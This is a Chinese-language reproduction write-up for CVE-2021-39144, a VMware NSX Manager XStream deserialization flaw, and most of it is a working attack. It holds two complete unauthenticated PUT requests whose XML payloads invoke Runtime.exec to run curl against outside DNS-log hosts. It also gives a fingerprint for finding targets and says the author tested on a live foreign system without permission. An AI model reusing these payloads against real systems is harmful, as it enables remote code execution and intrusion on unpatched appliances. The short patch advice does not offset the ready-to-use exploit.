VMware NSX Manager XStream unauthenticated 反序列化漏洞 CVE-2021-39144 已亲自复现
漏洞名称
漏洞描述
在Unmarshalling Time处包含用于重新创建前一对象的类型信息。XStream基于这些类型的信息创建新实例。攻击者可以控制输入流并替换或注入对象,这会导致在服务器上执行本地命令。
影响版本
XStream <= 1.4.17
漏洞复现
环境搭建
title="VMware Appliance Management"
找不到线下的环境,国外线上环境测试,访问页面。
漏洞利用
PUT /api/2.0/services/usermgmt/password/abc HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 558
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="sun.tracing.NullProvider">
<active>true</active>
<providerType>java.lang.Comparable</providerType>
<probes>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class="java.lang.Runtime"/>
<implementing__method>
<class>java.lang.Runtime</class>
<name>exec</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</handler>
</dynamic-proxy>
<string>curl http://hernandez.wagner-jackson.martin-barnes.com</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
查看DNS Log成功获取命令执行结果,如图:
测试到此为止,线上环境。其余payload自行测试。
payloa2
Content-Type: application/xml
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Comparable</providerType>
<probes>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='java.lang.Runtime'/>
<implementing__method>
<class>java.lang.Runtime</class>
<name>exec</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</handler>
</dynamic-proxy>
<string>curl http://2345.mjo1hm.ceye.io</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
修复建议
XStream 任意代码执行漏洞—关注厂商的主页以获取最新版本1.4.19
补丁链接:https://x-stream.github.io/download.html
总结
如果攻击成功,在响应头中返回的状态码为400,响应体无回显。